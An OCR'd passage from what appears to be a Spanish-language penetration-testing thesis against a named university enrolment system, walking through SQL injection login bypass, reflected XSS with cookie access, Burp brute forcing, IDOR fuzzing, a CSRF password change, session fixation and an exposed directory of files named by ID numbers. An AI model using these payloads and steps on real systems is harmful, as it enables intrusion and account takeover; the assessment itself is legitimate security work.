Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda

[Modoestandar i) 1S M 0@ S *G 0068 O05 48 @P POXERE ©CG&
@ sitios [ % nicio Rapido | = Peticion | Respuestas= | 4 |
(O o n ] | Header: Vista Raw || | Cuerpo:VistaRaw |»| (=[]

Figura 65. Punto de quiebre establecido en la herramienta ZAP. (Elaborado por el autor)

Este proceso fue realizado en el pardmetro nombre usuario de la pagina de inicio

de sesion Matriculacion, en el formulario llenar los campos y dar clic en Ingresar.

Manual de Usuario

Jueves 29 de noviembre de 20

= Matriculacion |

> Financiero
> Directores

> Coordinador

> Autoridades Bienvenido a SME

wdianties

A través de este

servicio que ofrece el

D=toc Sistema SI@Net, usted

> Bienestar podra realizar la

> Ficha matriculacién

> Salir estudiantil. }
=Y

as Administrativas, v

Usuario:

1111111111

Ingrese su usuario y
contrasena otorgado
por el Administrador y
podra ingresar a este
servicio...

Figura 66. Interfaz de inicio de sesion de matriculacion. (Elaborado por el autor)

Establecido el punto de quiebre, es posible modificar los parametros enviados en la
solicitud, el valor de nombre usuario hay que reemplazarlo por x’ or 1=1 or ‘x’="y
para omitir la autenticacion, esto es posible debido a que la afirmacion es siempre
cierta. Suponiendo que el pardmetro es vulnerable, la autenticacion serd como el
usuario del primer registro de la tabla, para enviar la peticion dar clic en Play

ubicado en la parte superior.
Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda
o i@ D DR 000 4y @bhroXEhm o€6
[ 5 Inicio Rapido [ = eticién | Respuestaé= | 3¢ Punto de nterrupcion | 4 |

¢ ~ [Método |v Header: VistaRaw v |CuerpovistaRaw  1v| [T) 1]
|" 2 Contexts [POST https: //www.sianet.ueb. edu. ec/sme/login_adninistracion.php HTTP/1.1
(& Default Context Host: www,s1anet.ueb.edu.ec
[v @ Sitios User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
: Accept: text/html,application/xhtalsxml,application/xnl;q=0.9,*/*;q=0.8
» L1 http://detectportal.firefox.com Accept-Language: es-ES,es;qe0.8,en-US;qe0.5,en;qe0.3
¥ 4 P httpsiwww.sianet.ueb.edu.ec Referer: https://www.sianet.ueb.edu.ec/sme/login_administracion,php
: Content-Type: application/x-ww-form-urlencoded
> LS slanet Content-Length: 74
" ERsme LI AL N— -
_| GET:index.php facultad=1:nonbre_usuario=x' or 1=1 or 'x'='y&contrasena=passwordsIngresar=Ingresarf
| ¥ GET:Inicio.php
» Afjss
_| 1Y GET:login_administracion.php

1 ™ POST:login_administracion.phplingresar,contrasena facultad

Figura 67. Solicitud interceptada con la herramienta ZAP. (Elaborado por el autor)
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La autenticacion fue posible porque la entrada no se estd filtrando o validando
correctamente, los controles implementados en el Front-End no son de gran utilidad
debido a que se pueden evadir con facilidad, se evitdé mediante este mecanismo el

inicio de sesion en todos los formularios de la aplicacion.

ﬁ = SISTEMA DE MATRICULACION
E sl et ~ ESTUDIANTIL
Sistema Académico Integradeo en Red r i z _z SM I_

Facultad de Ciencias Administrativas

Manual de Usuario

Menu Principal

Bienvenidos!!! - Administracién. Jueves 29 de noviembre de 2018; 11:08 AM

Cambiar Contrasefia

Ingresos
» Areas de Asignaturas

Bl s SECCIGN SECRETARIAS.
¥ Calificaciones
» Cambiar Paralelo En este espacio Seforitas Secretarias tendran la oportunidad de compartir
» Convalidaciones informacién con el resto de entidades a través de la red. Es decir en vuestras
manos se encuentran todas las actividades de mayor importancia para el buen
funcionamiento de este Sistema.

» Especialidades/ Titulos
¥ Ingreso de Asignaturas
> Mallas Curriculares | Entre las principales funciones que usted puede acceder bajo su cuenta son;
> Matriculacion

> Registo de Instuciones =+ Registro y Modificacion de Asignaturas.

- =+ Registro y Modificacion de Periodos Lectivos
£2 SR EE MG LN + Matriculacién Estudiantil
» Graduados =+ Cambios de Paralelos

Reportes =+ Registro de Calificaciones
» Alumnos Matriculados
> Cenificados Matricula

* Promociones + Generacién de Certificados de Matricula
3 Ficha Estudiantl =+ Generacion de Libro de Matricula

Entre los principales Reportes:

Figura 68. Autenticacion exitosa mediante inyeccion SQL. (Elaborado por el autor)

Inyeccion SQL en solicitudes GET
Para esta demostracion se utilizo el parametro asignatura del menu Asignaturas
Comunes del modulo Matriculacion, la carga que se utilizo para este proposito fue:

1' or 1=1--

Figura 69. Verificacion de inyeccion SQL. (Elaborado por el autor)
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La sentencia utilizada hace que la consulta sea verdadera y devuelva todos los
registros, de tal manera se llega a la conclusion que el parametro es vulnerable a
inyeccion SQL, este procedimiento se realizd en cada parametro de la aplicacion,

esta debilidad forma parte en casi la totalidad de la aplicacion.

Hallazgo 7

Cross Site Scripting (XSS)

Esta vulnerabilidad se produce cuando la entrada del usuario no se filtra o desinfecta
correctamente antes de que se refleje nuevamente al usuario. Esto permite al
atacante inyectar codigo malicioso, que luego se ejecuta en el contexto del
navegador de la victima. La vulnerabilidad de XSS se puede utilizar para llevar a
cabo varios ataques, como robo de sesiones e incluso comprometer a los
navegadores.

Con fines demostrativos esta vulnerabilidad se verificd en el parametro asignatura

del menu Asignaturas Comunes del modulo Matriculacion, el codigo utilizado fue:

"><script>alert(1);</script>

Aceptar

Figura 70. Verificacion de Cross Site Scripting reflejado. (Elaborado por el autor)

Esta es una de las formas de corroborar esta clase de debilidades, existen varios
tipos de cargas para esto, procedimiento que se llevé a cabo en todos los pardmetros
de la aplicacion para evitar falsos positivos y de esta manera hacer constancia de las

debilidades encontradas.
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Hallazgo 8

Cookie no HttpOnly Flag

Al no establecer la directiva HttpOnly Flag, es posible acceder mediante codigo
JavaScript a las cookies de sesion con la propiedad “document.cookie", como se
muestra a continuacion:

"><script>alert(document.cookie);</script>

PHPSESSID=cu8nmh3cp6t4nmnl4gniblcdi6

Aceptar

Figura 71. Verificacion de Cookie no HttpOnly Flag. (Elaborado por el autor)

Esta vulnerabilidad en conjunto con Cross Site Scripting, mediante alguna técnica
de ingenieria social seria posible realizar robo de sesiones y suplantar la identidad

de un usuario legitimo.

Hallazgo 9

Fuerza bruta en formularios

Los ataques de fuerza bruta consisten en probar diferentes combinaciones de
nombres de usuario y contrasefias hasta encontrar una que funciona. A menudo se
llevan a cabo cuando no se aplica una politica de bloqueo de cuenta.

En este punto se utilizo6 el formulario de inicio de sesion de Cargar Fotos del modulo
Matriculacion. La herramienta utilizada para este propdsito fue Burp Suite, en
primera instancia verificar que el proxy web este configurado correctamente, en el
formulario de inicio de sesion llenar los campos con el usuario correcto y en la

contrasefia asignarle cualquier valor y clic en enviar.
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> Inicio

> Matriculacion
> Financiero

> Directores

> Autork
. - | Bienvenido a SME

> Extension
> HCU
> Bienestar

A través de este
servicio que ofrece el Usuario:
> Ficha Sistema SI@Net, usted

> Salir podra obtener reportes 0201007078

relacionados a Ia
matricula.

Contrasefa:
Ingrese su usuario y TR
contrasena otorgado
por el Administrador y
podra ingresar a este
servicio... si es primera Ingresar
ves la clave es su
numero de cedula Recuperar Clave

Figura 72. Interfaz de inicio de sesion de cargar fotos. (Elaborado por el autor)

Dirigirse a Burp Suite, capturada la solicitud clic derecho para abrir el menu

contextual y dar clic en Sed to intruder.

[Target I,Rr.oz_;y, T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender ]

_I Intercept ] HTTP history TWebSockets history T Options ]

@ £\ Request to https://www.sianet.ueb.edu.ec:443 [190.15.128.203)

[ Forward J Drop J Intercept is on | { Action J

_[ Raw T Params T Headers ] Hex ]

POST /sme/login_foto.php HTTP/1.1

Host: www.sianet.ueb.edu.ec

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: https://www.sianet.ueb.edu.ec/sme/login_foto.php

Content-Type: application/x-www-form-urlencoded

Content -Length: 63

Connection: close

Cookie: PHPSESSID=1bu7g2qf37sod4spv64veakrnj2

Upgrade-Insecure-Requests: 1

DNT: 1

nombre_usuario=0201097078&cont rasena=password&Ingresar=Ingresar

Figura 73. Solicitud interceptada con burp suite. (Elaborado por el autor)

En la pestafia Positions del Intruder, seleccionar el parametro contrasefia usando el
botén agregar ubicado a la derecha del editor de solicitudes y en el tipo de ataque

elegir Sniper, como se muestra en la imagen.
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; I'am‘ti 0 i Spider T Scanner i ntrder | Repester I Sequencer T Decoder T Comparer I Extender T Project oplions Tllszr aptions T.ﬂleﬂs ]

| Target I Positions I Fafoads | Options

‘;7) Paylead Positions

Configure the postions where payleads will be inserted into the base request The sttack type determines the way in which payloads are assigned to payload posibons - see help for full detalls

Aitatk type: | Sniper

User-Agent: Mozilla/5.0 (X11: Linue 085 64; rvi6d.0 Geckes/20100100 Firefor/éd.0
Accept: text/htal,application/htal +xal, application/xal ;qud. 9,0/¢;qud. B
Azeapt -Language: &2-ES #2;qu0.8,00-U8:qul. 5, 60 . 3

Accept Encoding: grip, deflate

Referer: https://wav.sianet ueb.edu. ec/sae/login foto.php

Content-Type: application/s-vev-fori-urléncoded

Centent-Length: 63

Connection: close

Cookie: PHPSESSIDw1buTg2qf 3Tsodspybdvenkrn) 2

Legeade- Insecure-Requests: |

[T 1

neabre_usurion020109707EECont Fasents fpasswor ﬂﬁIWFe sarelngresar

Figura 74. Interfaz de la funcion intruder de burp suite. (Elaborado por el autor)

_
POST /amefloqan_fote.php HTTP/L.] T
Hests v S1mnet ueb.edu ec r

Start attack
(S———

L]

Claar§

Ate§

Refresh

En la pestafia Payloads, en la seccion Payloads Sets asegurarse de que Payload set

sea 1 y Payload type este configurado Simple list.

En la configuracion de Payload Options, agregar la lista de palabras con las

contrasefias mas comunes. Esto se puede hacer manualmente o utilizando una lista

personalizada o preestablecida y finalmente dar clic en start attack.

[ Torget [ 710 | Souder | Scanner [ intruder. | Repeater | Seauencer | Decoder | Comparer | Extender | Project optons | User opvons [ Alents |

ll1~

[ Torget | Posions [Pmoads | Options |

3] Payload Set

You can define one or more payload sets The number of payload sets depends on the attack type defined in the Posibons 1abd. Vanous payload types are avallable for each payload set and each paylosd

type can be customaed in different ways

Payioad set |1 ¥  Payload count
Buscor en | general v © "
Paylosd type | Simple hat v Request count & —! —’ ;.7 L
[y sdmapanels ot [') hito_methods v L
ST [ medum v
- - Bl v (e iz i [[) catato vt [[) megebeast tat
This payload type lets you configure & simple kst of strings thaf 1 commen bt [’y mutations_common tit
[ euskera b [ spanish e
Paste ') extensions_common bt [ test bt
Load
Nombre de archivo.  big tet
Remove
S —— Archivos de tipe Todos los Archvos )
Clear
[ abar ] | cancelee
Ada
Add from hist v

Figura 75. Carga de lista de palabras en burp suite. (Elaborado por el autor)

Start attack | '

En la ventana Intruder attack, se observa en la solicitud 24 que la longitud de

respuesta es diferente y analizando el cddigo en la parte inferior detalla un mensaje

de “Bienvenidos”, esto indica que fue posible el inicio de sesion para ese usuario.
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Attack Save Columns

_IRQ.\IDI Target | Positions | Payloads I Options l
Filter: Showing all items (

| Request & | Payload | Status | Error | Timeout | Length | Comment
x7 Tvzz P o o TUzIv
18 10snel 200 a (@] 10130
19 111111 200 o (@] 10130
20 121212 200 (@] (] 10130
21 1225 200 (o] o 10130
22 123 200 g (] 10130
23 123123 200 Q (@) 10130

| 24 200 O a 6553
25 12345 200 a o 10132
26 123456 200 o a 10130
27 1234567 200 a Q 10130
28 12345678 200 a () 10130
29 1234qwer 200 a Q 10130
30 123abc 200 () a 10130
31 123g0 200 (8] Q 10130

lkml Headers | Hex I HTML Tuender]

«div 1d=“"marcocontenido”»«/..coloca el borde del div --»
«div ide"encabezado">

circulo -->

Figura 76. Contrasefia encontrada mediante fuerza bruta. (Elaborado por el autor)

Para confirmar el ataque de fuerza bruta con la contrasefia encontrada hay que

dirigirse en la pagina de inicio de sesion e ingresar las credenciales

correspondientes.

» Autoridades

=+ Cargar Fotos

Figura 77. Interfaz de inicio de sesion de cargar fotos. (Elaborado por el autor)

De esta manera se confirmé el inicio de sesion para este usuario, es evidente que

usan contrasefias débiles, esto es debido al mecanismo de cambio de contrasefia

ineficiente.

«div style=" background:url(i/bg.png):

<div ide‘menu'><img src='i/bv.png*

height : 4Spx;: ">

alt='Sin Imagen'/></div>
«div id="fondo_encabezado”»«<b>Bienvenidos!!! - Administraciloacute;n.</b>«</div>

«/..coloca lo imagen del

B

Bienvenido a SME

A través de este
servicio que ofrece el
Sistema Sl@Net, usted
podra obtener reportes
relacionados a E}
matricula.

Ingrese su usuario y

contrasefia otorgado

por el Administrador y

podra ingresar a este

si es primera

I clave es su
numero de cedula

Usuario:
0201097078

Contraseiia:
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Cambiar Contrasena

> Subir Fotos
> listado de la Carnetizacion

SECCION COORDINADOR.

En este espacio se tendra la oportunidad de obtener reportes correspondientes a
la Matriculacién Estudiantil.

Entre los reportes que usted puede acceder bajo su cuenta son:

+ Nominas Estudiantiles por Asignatura

Figura 78. Inicio de sesion exitoso mediante fuerza bruta. (Elaborado por el autor)

Este tipo de ataque es posible en todos los formularios de autenticacion de la

aplicacion.

Hallazgo 10

Referencia de objeto directo

Una referencia de objeto directo ocurre cuando un desarrollador expone una
referencia a un objeto de implementacion interna, como un archivo, directorio,
registro de base de datos o clave, como una URL o parametro de formulario. Un
atacante puede manipular las referencias directas de objetos para acceder a otros
objetos sin autorizacidon, a menos que haya una verificacion de control de acceso.
La funcionalidad de autenticacion o autorizacion de la aplicacion no impide que un
usuario obtenga acceso a los datos o registros de otro usuario modificando el valor
clave que identifica los datos.

Esta falla fue descubierta en el menu Nominas Estudiantiles del modulo
Matriculacion, en primera instancia hay que ubicarse en la URL a evaluar, clic

derecho para abrir el menu contextual y dar clic en Fuzz.

| GET:nomina_matriculados.php{menu) Al
POST:nomina_matriculados.php(menu)(agregar,buscar,car
POST:nomina_matriculados.php(menu)(agregar,carrera,ce
POST:nomina_matriculados.php(menu)(agregar,carrera,ce
| GET:nominas_estudiantiles.php(menu}

B GET:nominas_estudiantilesl.php(menu)

| GET:nominas_estudiantiles_completa.php(menu)

Figura 79. Seleccion de la URL para evaluar con la herramienta ZAP. (Elaborado por el autor)

Se abrird la ventana del Fuzz, el préximo punto es seleccionar el parametro a evaluar

y dar clic en Add, ubicado en la parte superior derecha.
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| Fuzz Locations OpclonasT Message Processors -]

|Header: Vista Raw ¥ | CuerpovistaRaw (=] [ ][] Fuzz Locations:

we k| Vo, i
GET https://www.slanet.ueb.edu.ec/sme/nominas_estudiantilesl.php?menus=g e 4] Lol l? Add..
HTTR/1.1

- Eliminar

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:63.0) Gecko/20100101
Firefox/63.0

hccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;qu=0.8 Payloads...
Accept-language: es-ES,es;qe0.8,en-US;q=0.5,en;q=0.3
Connection: keep-alive

Cookie: PHPSESSID=ic7jd1tmgefa7belgdGepdtool Processors...
Upgrade-Insecure-Requests: 1
DNT: 1

Host: www.slanet.ueb.edu.ec

-
T

(4] Remove without confirmation.

e | Cancelar || Reset || Start Fuzzer |

Figura 80. Ventana de configuracion de fuzz en la herramienta ZAP. (Elaborado por el autor)

Se abrird una nueva ventana, en la seccion Contents, asignar un determinado rango

de niimeros y dar clic en Anadir.

Tipo: | Strings B3|

Contents: 1

Multiline: [_]

I & save... I
I &2 | | Cancelar | | Anadir |

Figura 81. Valores asignados para evaluar el parametro determinado. (Elaborado por el autor)

Una vez asignado los valores numéricos, se abrira la ventana del Fuzz con el

parametro determinado y finalmente dar clic en Start Fuzzer, empezaré a realizar



peticiones al servidor con los valores asignados.

[ FuzzL | op | ge Pr s |

| Header: Vista Raw | | Cuerpo:vista Raw v [ [ Fuzz Locations:
e k| V... | ® .. | ®o... e

GET https://www.sianet.ueb.edu.ec/sme/nominas_estudiantilesl.php?menu=2 =l l = . L gdds
HTTP/1.1 .- Eliminar
User-Agent: Mozilla/s.0 (X11; Linux x86_64; rv:63.0) Gecko/20100101
Firefox/63.0
Accept: text/html,application/xhtmlexml,application/xml:q=0.9, %/%;q=0.8 Payloads...

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5.en;q=0.3
Connection: keep-alive

Cookie: PHPSESSID=1c7jdltmgefaZbelgdbepdtoon2 Processors...
Upgrade-Insecure-Requests: 1
DNT: 1

Host: www.sianet.ueb.edu.ec

e
b 1

(/] Remove without confirmation

@ | | Cancelar _JL Rasat .J'. Start Fuzzer J

Figura 82. Parametro designado a evaluar referencia de objetos directos con ZAP. (Elaborado por

el autor)

Al analizar los resultados, se observa en la segunda peticion realizada un cambio en

el tamano de la respuesta, esto indica que posiblemente haya devuelto resultados

distintos.
& New Fuzzer  Progreso: | 3: HTTP - https://www.si.les].php?menus=2 Wv'j na 100  Current fuzzers:0 Q
Messages Sent: 15 Erors:0 A\ Show Errors ¢ Exportar
Tale 4 Message Type Code Reason RTT Size Resp. Header Size Resp. Body Highest Alert Estado Payloads ]
0 Original 200 OK 390 ms 470 bytes 11.338 bytes .
1 Fuzzed 200 OK 492 ms 470 bytes 18.252 bytes . Reflected 1
200 OK 11.338 bytes 2
3 Fuzzed 200 OK 407 ms 492 bytes 6.489 bytes ./ Reflected 3
4 Fuzzed 200 OK 392 ms 492 bytes 6.489 bytes o/ Reflected 4
S Fuzed 200 OK 443 ms 492 bytes 6.489 bytes «/ Reflected S
6 Fuzed 200 OK 105 ms. 492 bytes 6.489 bytes o Reflected 6
7 Fuzzed 200 OK 108 ms. 492 bytes 6.489 bytes ./ Reflected 7 M

Figura 83. Resultado de referencia de objetos directos con la herramienta ZAP. (Elaborado por el

autor)

Para corroborar este hallazgo hay que dirigirse a la direcciéon URL que se probo y

cambiar el nimero 1 por el 2, como se muestra en las siguientes gréficas.
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*Escuela:
*Carrera:
*Paricdo Lectivo:
*Centro Academico:
*Modalidad:

*Areas Asignaturas:
*Asignaturas:

*Paralelo:

Tipe de Descarga:  Archivo .pdf @ & Archivo .csv @

Reportes | Todos los datos se almacenaran en la Base de Datos de SI@Net, ¥y en ningdn caso se utilizaran con mal
aleg, 1 el g -

=+ Nominas Estudiantiles

prop pos con * son a

> Padron Electoral
> Pérdidas y Retiros

Parametros para Listados de Estudiantes

*Escuela: Elige....
*Carrera:
*Pericdo Lectivo:

*Cantro Academico:

*Modalidad:
*Areas Asignaturas:
*Asignaturas:

*Paralelo:

»
a
g
§
b
a
-
0
o
:
g
-]
g
<
[ ]
e efe]e)efe

Tipo de Descarga:

Figura 85. Direccion URL con el parametro modificado. (Elaborado por el autor)

Con estos resultados se comprobo que se puede acceder a la pagina de perfil de otro
usuario, este problema se debe a una inconsistencia en el control de acceso.
Hallazgo 11

Cross Site Request Forgery

La falsificacion de solicitudes entre sitios (CSRF), es un ataque que obliga a un
usuario final a ejecutar acciones no deseadas en una aplicacion web en la que esta
autenticado actualmente.

Las vulnerabilidades de CSRF pueden surgir cuando las aplicaciones se basan
unicamente en cookies HTTP para identificar al usuario que ha emitido una solicitud
en particular. Debido a que los navegadores agregan automaticamente cookies a las

solicitudes, independientemente del origen de la solicitud, es posible que un
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atacante cree un sitio web malicioso que falsifique una solicitud de varios dominios
a la aplicacion vulnerable.

Para demostrar esta vulnerabilidad hay que autenticarse primero como un usuario
legitimo, se tomo la funcionalidad de cambio de contrasefa, simplemente con copiar
la parte del formulario, afiadir en el atributo action la direccion URL asignada para
el cambio de credenciales y en los atributos value escribir la nueva contrasefia que
en este caso es "hacked" y guardarlo con la extension html, la siguiente imagen

contiene el codigo con los cambios realizados.

suario.php?paginaact=1" targe

Figura 86. Formulario de cambio de contrasefia para demostrar CSRF. (Elaborado por el autor)

Tan pronto la victima de clic en el boton Actualizar se cambiaré la contrasefia de
inicio de sesion

=S e ™ 3 file:///home/xsrT._}

¥ Most Visited Jl Offensive Security Kali Linux

Figura 87. Ataque mediante Cross Site Request Forgery. (Elaborado por el autor)

Para cerciorarse que se efectu6 el cambio de contrasefia correctamente, hay que

iniciar sesion en la aplicacion con la nueva contrasefia.
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* Inicio Autenticacion. Viemes 07 de Diciembre del 2018; 09:42 AM

» Coordinador Académico

Bienvenido a CAED

A traves de este
servicio usted podra
realizar el control de
estudiantes, ingreso de
notas v subir el [ 1702978691
contenido academico

Usuario:

Ingrese su usuario y Contrasefia:
contrasefa otorgado

por el Administrador y asssss
podra ingresar a este

servicio...

Figura 88. Interfaz de inicio de sesién docente. (Elaborado por el autor)

El inicio de sesion ha sido exitoso lo que se comprueba que la aplicacion es

vulnerable a CSRF.

. N i i " ok . 10
Cambiar Contrasena | Bienvenidos!!! Viernes 07 de Diciembre del 2018; 10:00 AM

» Contenido Academico
3 Horario de Clases SECCION DOCENTES.
% Ingreso de Notas . : 3 3
m— En este espacio Sefores Docentes tendrdn la oportunidad de compartir y verificar
» N le Recuperacion . iy, . .
. informacion con el resto de entidades a través de la red.
¥ Gestion Academica

Entre las funciones que cumple estan:

+ Control de Avance Académico.

+ Control de Asistencia Estudiantil.

+ Subir Contenido Académico.

- + Ingreso de Notas Estudiantiles.

> Salir # Ingreso de Notas de Recuperacion.

+ Ingreso de Las Actividades de gestion.
+ Reportes de Horarios.

+ Reporte de Acta de Calificacidn.

+ Reporte de Notas de Recuperacion.

+ Reporte de Faltas de los docentes

» Oficio de Recuperacion

Figura 89.Inicio de sesion exitoso con la nueva contrasefia. (Elaborado por el autor)

Este procedimiento se puede realizar con cualquier usuario a obligarle a realizar

diversas actividades no solo un simple cambio de contraseia.

Hallazgo 12

Pruebas de Fijacion de Sesion

Cuando una aplicacion no renueva sus cookies de sesion después de una
autenticacion exitosa, podria ser posible encontrar una vulnerabilidad de fijacion de

sesion y forzar a un usuario a utilizar una cookie conocida por el atacante. En ese

60



caso, un atacante podria robar la sesion del usuario (secuestro de sesion).
El primer paso es hacer una solicitud al sitio a ser probado, en este caso se hizo la
peticion a:

sianet.ueb.edu.ec/sme/login_foto.php

POST /sme/login_foto.php HTTP/1.1

Host: www.sianet .ueb.edu.ec

User-Agent: Mozillas5.0 (X11l: Linux x86_64; rv:65.0) Gecko/20100101
Firefox/65.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp, */*
;q=0.8

Accept-Language: es-ES,es;q=0.8.,en-US;g=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: https://www.sianet.ueb.edu.ec/sme/login_foto.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 27

Connection: close

Cookie: PHPSESSID=67let4eSag8ch2km72987gbksl
Upgrade-Insecure-Requests: 1

DNT: 1

Figura 90. Identificador de sesion obtenido antes de la autenticacion. (Elaborado por el autor)

La aplicacion fija el identificador de sesion

PHPSESSID=671et4e5ag8ch2km72987gbks]1.

A continuacidn, se autentica con éxito a la aplicacion

GET /sme/nominas_estudiantiles2.php HTTP/1.1
Host: www.sianet .ueb.edu.ec

User-Agent: Mozillas/S5.0 (X1l: Linux x86_64; rv:65.0) Gecko/20100101
Firefox/65.0

Accept:

text/html ,application/xhtml+xml ,application/xml ;q=0.9,image/webp, */*
;q=0.8

Accept -Language: es-ES,es;g=0.8.,en-US;gq=0.5,en;q=0.3

Accept -Encoding: gzip, deflate

Referer: https://www.sianet.ueb.edu.ec/sme/fotos.php

Connection: close

Cookie: PHPSESSID=67l1let4eSag8ch2km72987gbksl
Upgrade-Insecure-Requests: 1

DNT: 1

Figura 91. Identificador de sesion obtenido después de la autenticacion. (Elaborado por el autor)

Se observa que la cookie no ha sido renovada tras la autenticacion, se sabe que es
posible realizar un secuestro de sesion al enviar un identificador de sesion valido a

un usuario mediante ingenieria social.

Hallazgo 13
Exploracion de directorios
Ver el contenido de directorios web puede llevar a la revelacion de copias de

seguridad, informacion de configuraciones, etc. En la siguiente grafica se observa
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un listado de nimeros de cédula.

= > @

net.ueb.edu.ec/sme [fotos

£+ Most Visited [ Offensive Security

Index of /sme/fotos

Kali Linux Kali Docs Kali Tools

[ICO] Name Last modified Size Description

[PARENTDIR] Parent Directory -
[IMG] 0009229287 .jpg 2017-03-16 14:40 10K

[IMG] 0026746648.jpg 2017-10-02 15:10 14K
[IMG] 0074276917 .jpg 2018-03-27 11:30 12K
[IMG] 0102456795.jpg 2013-06-07 15:00 7.2K
[IMG] 0102721719 jpg 2014-03-21 10:42 9.9K
[IMG] 0102928827 . jpg 2012-12-11 08:53 13K
[IMG] 0103205712, jpg 2013-06-14 14:28 7.0K
[IMG] 0103803169.jpg 2012-10-22 09:05 2.7K
[IMG] 0104251822 . jpg 2016-11-22 15:41 14K
[IMG] 0104707526.jpg 2014-03-21 16:15 8.1K
[IMG] 0105091680.jpg 2016-06-22 14:19 13K
[IMG] 0105116784 jpg 2015-10-12 10:13 9.2K
[IMG] 0105180160, jpg 2017-09-26 14:24 15K
[IMG] 0105180178.jpg 2016-03-24 11:16 10K
[IMG] 0105180186.jpg 2016-03-24 11:13 8.7K
[IMG] 0105298145.jpg 2012-03-13 17:51 3.4K
[IMG] 0105667208.jpg 2013-03-14 13:39 2.9K

Figura 92. Listado de directorios. (Elaborado por el autor)

2.4. Explotacion
Este paso explota las vulnerabilidades encontradas y comprobar qué informacion o
acceso es posible obtener.

El proceso de explotacion se realizé entre el 10 y 12 de diciembre del 2018.

2.4.1. Inyeccién SQL Basada en Uniones
Deteccion de inyeccion SQL
Todos los puntos identificados vulnerables a inyecciones SQL son explotables
proceso que puede realizarse mediante diferentes técnicas. El método utilizado para
explotar fue mediante la cldusula UNION, para este proposito he seleccionado el

menu Reporte de Usuarios del modulo Financiero.



Cambiar Contrasefa V

> Pago Matricula Todos los datos se almacenaran en
> Reporte de Montos

= Reporte de Usuarios

la Base de Datos de SI@Net, y en ningun caso se utilizaran con mal

prop Los pos con * son ob

> Reporte de las Facturas
> Reporte Olimpo

7> Creditos Estudiantiles

> Salir

DATOS DEL REPORTE

*Usuarios: Admin Admin v

SELECT DISTINCT fecha 0 FROM monto WHERE usuario='2222222222"' ORDER
rechadePaot gy tcha pago oes TN

Imprimir

Figura 93. Ment reporte de usuarios del mddulo financiero. (Elaborado por el autor)

Se observa que se estd imprimiendo en la interfaz la consulta SQL emitida para
devolver los registros de la fecha de pago, este tipo de informaciéon no debe ser
revelada en ninguna parte, porque esto da a conocer a un atacante la estructura de
la sentencia.

El primer punto es verificar si el proxy esta configurado correctamente, dirigirse a
la pestana Proxy y corroborar que este habilitado la intercepcion, en el ment
desplegable de la aplicacion, seleccionar cualquier item disponible, habra capturado
la peticion como se muestra en la imagen a continuacion, lo siguiente es dar clic

derecho para abrir el menu contextual y seleccionar Send to Repeater

GET /sme/cargaselect.php?id=1&fecha=15/03/2013&usuario=2222222222 HTTP/1.1

Host: www.sianet.ueb.edu.ec|

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */+

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: https://www.slanet.ueb.edu.ec/sme/reporte_user.php

Cookie: PHPSESSID=10fsfts9tl0lel3j4708hjuB3s

Connection: close

DNT: 1

Figura 94. Solicitud interceptada por burp suite. (Elaborado por el autor)

Una vez en la pestafia Repeater, dirigirse a Params, clic en go para tener una "linea

base" de la respuesta del servidor.

63



| Go ancel | | <iv Target: https://www.slanet.ueb.edu.ec | & 7
Request Response
mm Htldﬂ51 Hex Raw | Headers Nu1 HTML ]Rmdﬂ ]
GET request to fsme/cargaselect php :':’”“ 200, 0K 4
ate:
Type Name Value | iAga Server: Apache/2.4.6 (Cent05) OpenSSL/1.0.2k-fips PHP/7.0.32
VAL W 3 28 | strict-Transport-Security: max-ages63072000; includeSubdossins
X-Frase-Options: DENY
URL fecha 15/03/2013 | Remove |  x.content-Type-Options: mosniff
URL usuario 202022202 — X-Powered-By: PHP/7.0.32
: -By: 0.
Cookie EHFSRSSD, lofshtsgo1e18i47oBhu0sS Up | | Expires: Thu, 19 Nov 1981 08:52:00 GMT
. " Cache-Control: no-store, no-cache, sust-revalidate
| Down | Pragma: no-cache
<table border='0' widthe'9 ade'filasescalendario’»><td colspan='2’>Fondos de
1a Universidad:</tdr</tra< eight="2" colspans"2"»</tdr</tra<tr
d>&nbsp; knbsp;knbsp;kabsp;</td><td aligne’right’
width='100" nbsp; </ td>
ids'decoract dok babsp;</ d aligne’right’
widthe'100" nbsp;
1d='decoracionfilal’><td>bnbs Tright’
width='100" »&nbsp;$ 06nbsp;<
ids'decoracionfilal'><td *right
vidthe'100" >6nbsp r
ide'decoracionfil nbsp;éabsp;</td><td aligne'right’
vidthe'100" >&absp; sctraetd herghte"2" colspane®2”>e/tdse/troetr
ide’ filamescalendario’»<td
aligne’center >6nbsp; &nbsp; <bsTotal</boeabsp; knb:
ftde</trastrae oge
borders'0" widthe'99% '><tr
=" 2" >INSTITUTO DE TDIOMAS</tdne/trmet roetd
v

Figura 95. Funcion repeater de burp suite. (Elaborado por el autor)

Uno de los métodos para verificar si es posible la inyeccion SQL, es afnadir una
comilla simple en uno de los parametros de entrada, esto hard que se rompa la
estructura de la consulta, resultando un error o un cambio en el contenido en la
respuesta, como se observa en la grafica, al parecer se esta interpretando la comilla

como parte de la consulta, lo que demuestra que es posible realizar la inyeccion.

Target: https://iwww.sianet.ueb.edu.ec & 7

) B sl
Request Response
]_]’ Row [iRaBmSY| Heoders ]""‘ ] [M_NTMld«s | Hex | e | Render |
GET request to /sme/cargaselect php :H:l,l 200 0K :

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.0.32

Type Name Value | Add

URL d 1 —— Strict-Transport-Security: sax-age=63072000: includeSubdosains
X-Frase-Options: DENY

Dl fechu 2NN |_Remove | x.Content-Type-Options: nosniff

